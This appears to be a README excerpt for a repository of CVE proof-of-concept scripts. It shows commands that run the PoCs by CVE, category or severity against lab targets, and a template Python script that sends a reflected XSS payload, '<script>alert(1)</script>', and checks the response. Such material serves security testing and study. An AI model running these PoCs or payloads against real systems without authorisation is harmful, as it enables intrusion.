git clone https://github.com/javokhir-sec/CVE-PoC-Hub.git
cd CVE-PoC-Hub

# 利用可能なすべてのPoCを一覧表示
python poc-runner.py --list

# 特定のPoCを実行（ラボ環境で）
python poc-runner.py --cve CVE-2026-XXXXX --target http://lab-target.local

#!/usr/bin/env python3
"""
CVE-YYYY-XXXXX: [脆弱性タイプ] in [製品]
CVSS: X.X | 深刻度: Critical/High/Medium/Low
作成者: @javokhir-sec
"""

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"

def exploit(target):
    """エクスプロイトを実行し、脆弱性がある場合はTrueを返す。"""
    print(f"[*] Testing {target} for CVE-YYYY-XXXXX")

    # ステップ1: 悪意のあるリクエストを送信
    payload = "<script>alert(1)</script>"
    r = requests.get(f"{target}/search?q={payload}")

    # ステップ2: エクスプロイトを検証
    if payload in r.text:
        print(f"[+] VULNERABLE! Payload reflected in response.")
        return True
    else:
        print(f"[-] Not vulnerable.")
        return False

if __name__ == "__main__":
    exploit(TARGET)

# ターゲットに対してすべてのXSS PoCを実行
python poc-runner.py --category xss --target http://lab.local

# すべてのSQLi PoCを実行
python poc-runner.py --category sqli --target http://lab.local

# 特定の深刻度レベルを実行
python poc-runner.py --severity critical --target http://lab.local